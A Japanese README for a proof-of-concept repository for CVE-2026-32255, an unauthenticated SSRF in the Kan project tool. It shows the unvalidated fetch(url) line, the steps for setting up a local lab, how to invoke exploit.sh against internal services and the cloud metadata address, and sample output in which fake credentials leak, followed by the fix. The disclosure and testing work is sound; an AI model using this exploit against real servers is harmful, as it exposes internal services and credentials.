
このリポジトリには、CVE-2026-32255の概念実証(POC)が含まれています。これは、オープンソースのプロジェクト管理ツールであるKanにおける、深刻度の高いServer-Side Request Forgery(SSRF)脆弱性です。
このリポジトリには、オープンソースのプロジェクト管理ツールである**Kanにおける高深刻度のサーバーサイドリクエストフォージェリ(SSRF)脆弱性であるCVE-2026-32255の概念実証(POC)**が含まれています。
この脆弱性のあるエンドポイントにより、認証されていない攻撃者がサーバーから任意のHTTPリクエストを送信し、完全なレスポンスを読み取ることができ、内部サービスやクラウドメタデータエンドポイントへのアクセスが可能になります。
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:Nファイルapps/web/src/pages/api/download/attatchment.tsは、S3ストレージからの添付ファイルダウンロードをプロキシすることを目的としたGET /api/download/attatchmentエンドポイントを公開しています。このエンドポイントは、ユーザーが制御するurlクエリパラメータを受け入れ、検証や認証なしにサーバーサイドで直接fetch()に渡します:
const upstream = await fetch(url); // `url`に対する検証なし
攻撃者は任意のURLを指定でき、サーバーがその宛先にHTTPリクエストを送信し、完全なレスポンスボディをクライアントに返すことができます。これは完全読み取り可能なSSRF(ブラインドではない)であり、攻撃者がレスポンスコンテンツ全体を読み取ることができることを意味します。
http://169.254.169.254/)Kan v0.5.4(最後の脆弱性のあるバージョン)をクローンして実行します:
git clone --branch v0.5.4 https://github.com/kanbn/kan.git
cd kan
必要な環境変数を設定します:
cat > .env <<'EOF'
NEXT_PUBLIC_BASE_URL=http://localhost:3000
BETTER_AUTH_SECRET=poc-secret-not-for-production-use
POSTGRES_URL=postgresql://kan:kan@localhost:5432/kan_db
POSTGRES_PASSWORD=kan
REDIS_URL=redis://localhost:6379
NEXT_PUBLIC_STORAGE_URL=http://localhost:9000
EOF
注記:
dokploy-networkに関するエラーが発生した場合は、docker-compose.yml(9行目、130〜131行目)からdokploy-networkの参照を削除し、docker compose up -dを再度実行してください。このネットワークはローカルでは不要です。
コンテナを起動します:
docker compose up -d
アプリケーションはhttp://localhost:3000で利用可能になります。
別のターミナルで、機密性の高い内部APIをシミュレートする同梱のモック内部サービスを起動します:
python3 internal-service.py
これにより、ポート8888でサーバーが起動し、偽の認証情報を返します。これは内部ネットワークからのみアクセス可能なサービスをシミュレートしています。実際のシナリオでは、このサービスはファイアウォールの背後に隔離され、外部からは到達できません。SSRFにより、攻撃者はサーバーを介してこのサービスに到達できます。
chmod +x exploit.sh
./exploit.sh http://localhost:3000
./exploit.sh <ターゲットURL> [内部URL]
<ターゲットURL>: KanインスタンスのベースURL(例:http://localhost:3000)[内部URL]: SSRF経由で取得する内部URL(オプション、Dockerブリッジゲートウェイから自動検出)./exploit.sh http://localhost:3000
=== CVE-2026-32255 - 添付ファイルダウンロード経由のKan SSRF ===
ターゲット: http://localhost:3000
内部URL: http://172.17.0.1:8888
[*] エンドポイントが到達可能か確認中...
[+] エンドポイントは到達可能です(HTTP 400)
[*] http://172.17.0.1:8888 へのSSRFを試行中...
[+] 脆弱性あり - サーバーが内部リソースを取得しました
漏洩したコンテンツ:
------------------------------------------------------------
{
"service": "internal-config-api",
"credentials": {
"db_host": "10.0.0.5",
"db_user": "admin",
"db_password": "s3cret_passw0rd!",
"api_key": "sk-internal-4f8a2b1c9d3e7f6a5b0c8d2e1f4a7b3c"
}
}
------------------------------------------------------------
リクエストをプロキシする前に、設定されたS3エンドポイントのホスト名に対してurlパラメータを検証するKan v0.5.5以降に更新してください。
すぐに更新できない場合は、リバースプロキシレベルで脆弱性のあるエンドポイントへの外部アクセスをブロックしてください。
この概念実証は、教育目的および許可されたセキュリティテストのみを目的として提供されています。所有しているシステム、または明示的な書面によるテスト許可を得たシステムでのみこのツールを使用してください。
著者は、このリポジトリで提供される情報やツールの誤用について責任を負いません。コンピュータシステムへの不正アクセスは違法です。
発見者: kOaDT([email protected])